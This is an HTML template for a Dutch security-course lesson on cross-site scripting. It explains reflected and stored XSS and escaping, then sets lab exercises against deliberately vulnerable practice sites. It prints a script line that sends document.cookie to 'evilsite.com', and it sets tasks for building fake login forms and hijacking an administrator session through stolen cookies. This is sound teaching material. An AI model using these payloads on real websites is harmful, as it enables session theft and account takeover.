You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
247 lines
12 KiB
247 lines
12 KiB
{% extends 'base.html' %} {% block content %}
|
|
<style>
|
|
.screenshot {
|
|
box-shadow: 0 0 15px #888;
|
|
}
|
|
|
|
figure {
|
|
float: right;
|
|
width: 30%;
|
|
}
|
|
|
|
figure img {}
|
|
|
|
figcaption {
|
|
margin-top: 10px;
|
|
font-size: smaller;
|
|
color: gray;
|
|
text-align: center;
|
|
}
|
|
</style>
|
|
|
|
<h1>Cross-site Scripting</h1>
|
|
|
|
<figure>
|
|
<img src="/static/img/rabobank.png" class="screenshot">
|
|
<figcaption>Iemand heeft
|
|
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
|
|
</figure>
|
|
|
|
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
|
|
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
|
|
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script>
|
|
tag kan toevoegen is er sprake van een XSS aanval.</p>
|
|
|
|
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
|
|
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
|
|
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
|
|
|
|
<h3>Reflected</h3>
|
|
|
|
<figure>
|
|
<img class="screenshot" src="/static/img/zoekterm.png">
|
|
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
|
|
</figure>
|
|
|
|
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
|
|
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
|
|
op de webpagina zelf.</p>
|
|
|
|
|
|
|
|
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
|
|
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
|
|
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
|
|
The perfect crime!</p>
|
|
|
|
<h3>Stored</h3>
|
|
|
|
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
|
|
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
|
|
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
|
|
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan
|
|
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
|
|
|
|
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
|
|
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
|
|
|
|
<h3>Aanvallen</h3>
|
|
|
|
<h4>HTML toevoegen</h4>
|
|
|
|
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
|
|
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
|
|
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
|
|
|
|
<h4>Javascript toevoegen</h4>
|
|
|
|
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te
|
|
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
|
|
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
|
|
|
|
<p>
|
|
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code>
|
|
</p>
|
|
|
|
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
|
|
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
|
|
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
|
|
|
|
<h3>Countermeasures</h3>
|
|
|
|
<p>De belangrijkste regel bij websecurity is:
|
|
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
|
|
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
|
|
je weer weergeeft op de pagina te
|
|
<b>escapen</b>.</p>
|
|
|
|
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
|
|
<code>"</code> wordt dan bijvoorbeeld
|
|
<code>&quot;</code> en
|
|
<code><</code> wordt
|
|
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
|
|
|
|
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
|
|
|
|
|
|
<code><script><b>gebruikersinvoer hier</b></script></p></code>
|
|
|
|
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
|
|
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
|
|
bepaalde waarde te zetten.</p>
|
|
|
|
<h1>Opdrachten</h1>
|
|
|
|
<h2>Bank</h2>
|
|
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
|
|
nog steeds niet veilig van hun beveiligingsproblemen.</p>
|
|
|
|
<p>Ga naar de
|
|
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
|
|
</p>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
|
|
</div>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
|
|
server gestuurd.</span>
|
|
</div>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Bekijk de
|
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
|
|
</div>
|
|
|
|
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
|
|
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint:</strong> Zoek eens naar
|
|
<code>window.history.pushState</code>.</p>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
|
|
komt te staan.</span>
|
|
</div>
|
|
|
|
<h2>Webshop</h2>
|
|
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
|
|
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
|
|
<span class="website">"Webshop (replace)"</span>.</p>
|
|
|
|
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
|
|
|
|
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
|
|
gebruiken moet je de url encoded versie gebruiken: %2B</p>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
|
|
</div>
|
|
|
|
<p class="hint">
|
|
<strong>Hint:</strong> Op
|
|
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
|
|
</p>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het
|
|
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
|
|
Let goed op de quotejes.</span>
|
|
</div>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Bekijk de
|
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
|
|
PHP aanpassen (lees documentatie op
|
|
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
|
|
</div>
|
|
|
|
|
|
<h2>Nieuws</h2>
|
|
|
|
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
|
|
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
|
|
|
|
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
|
|
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
|
|
</p>
|
|
|
|
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
|
|
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
|
|
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
|
|
|
|
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
|
|
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
|
|
|
|
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
|
|
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
|
|
|
|
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
|
|
|
|
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
|
|
|
|
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
|
|
|
|
|
|
<div class="question">
|
|
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
|
|
</div>
|
|
|
|
<h2>Wereldwijs</h2>
|
|
|
|
<p>Ga naar de
|
|
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
|
|
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
|
|
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
|
|
|
|
<p>Let op: In Firefox werkt deze hack niet</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
|
|
|
|
<p class="hint">
|
|
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>').
|
|
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
|
|
|
|
<div class="question">
|
|
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
|
|
</div>
|
|
|
|
{% endblock %} |